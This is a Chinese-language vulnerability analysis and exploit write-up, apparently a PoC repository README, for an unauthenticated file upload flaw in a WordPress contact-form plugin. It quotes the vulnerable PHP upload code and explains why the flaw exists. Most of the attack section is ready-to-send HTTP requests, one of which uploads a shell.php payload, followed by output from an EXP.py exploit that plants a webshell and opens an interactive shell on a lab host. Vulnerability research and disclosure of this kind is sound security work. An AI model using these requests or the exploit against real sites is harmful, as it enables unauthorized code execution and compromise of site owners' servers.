WordPress联系表单插件 - 未授权任意文件上传漏洞# WordPress N-Media Website Contact Form with File Uploader 文件上传漏洞分析
## 1. 漏洞点代码分析
插件文件:`classes/plugin.class.php`,方法:`upload_file()`
```php
function upload_file() {
// ...
if (! empty ( $_FILES )) {
$tempFile = $_FILES ['Filedata'] ['tmp_name'];
$targetPath = $dirPath;
$new_filename = strtotime ( "now" ) . '-' . preg_replace ( "![^a-z0-9.]+!i", "_", $_FILES ['Filedata'] ['name'] );
$targetFile = rtrim ( $targetPath, '/' ) . '/' . $new_filename;
$type = strtolower ( substr ( strrchr ( $new_filename, '.' ), 1 ) );
if (move_uploaded_file ( $tempFile, $targetFile )) {
if (($type == "gif") || ($type == "jpeg") || ($type == "png") || ($type == "pjpeg") || ($type == "jpg"))
$this->create_thumb ( $targetPath, $new_filename, $thumb_size );
$response ['status'] = 'uploaded';
$response ['filename'] = $new_filename;
}
// ...
}
// ...
}
```
### 正常文件上传流程
- 用户通过表单或接口上传文件,字段名为`Filedata`。
- 文件被保存到指定目录,文件名仅做简单字符替换和时间戳前缀。
- 图片类型(jpg/png/gif等)会生成缩略图。
- 其他类型文件直接保存,无类型/内容检查。
### 恶意文件上传流程
- 攻击者可上传任意扩展名的文件(如`.php`、`.txt`、`.phtml`等),无白名单校验。
- 只要后缀名存在,文件内容不做检查,直接保存。
- 若Web服务器支持解析上传目录下的PHP文件,可直接远程执行Webshell。
## 2. 漏洞成因
- **缺乏文件类型白名单校验**:仅通过扩展名判断图片类型生成缩略图,未限制允许上传的文件类型。
- **未校验MIME类型/文件内容**:未检查文件实际内容与扩展名是否匹配。
- **上传目录可被Web访问**:如`/wp-content/uploads/contact_files/`目录可被Web访问且支持PHP解析,攻击者可直接访问上传的恶意文件。
## 3. 攻击利用方式
### 上传正常文件与恶意文件的完整HTTP流量包
#### 1. 上传正常PNG图片
```
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.png"
Content-Type: image/png
<这里是PNG文件的二进制内容>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
#### 2. 上传正常TXT文件
```
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.txt"
Content-Type: text/plain
hello, this is a test txt file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
#### 3. 上传恶意PHP
```
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
#### 4. python脚本
```
例如:
python EXP.py -u http://192.168.63.131:8081/
______ ______ ______ ______ ______
/_____/\ /_____/\ /_____/\ /_____/\ /_____/\
\:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \
\:(_) ) | \:\ ) ) | \:\ ) ) | \:\ ) ) | \:\ ) ) |
\: __ `\ \:() (| \:() (| \:() (| \:() (|
\ \ `\ \ \:\_/ \ \:\_/ \ \:\_/ \ \:\_/ \
\_\/ \_\ \_____/\ \_____/\ \_____/\ \_____/\
[+] 目标地址:http://192.168.63.131:8081/
[+] 正在尝试上传 WebShell...
[+] WebShell 上传成功,正在提取文件名...
[+] WebShell 地址为:http://192.168.63.131:8081//wp-content/uploads/contact_files/1753257322-download.php
[+] 正在验证 WebShell 是否可用...
[+] 验证成功,WebShell 可用!
[+] 进入交互式 Shell 模式(输入 exit 退出)
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> pwd
/var/www/html/wp-content/uploads/contact_files
shell> exit
[*] 退出 Shell,再见!
```
[4.0K] /data/pocs/2235948998a0917e8051ea2e52755e55220c51d0
├── [3.7K] EXP.py
└── [4.5K] README.md
0 directories, 2 files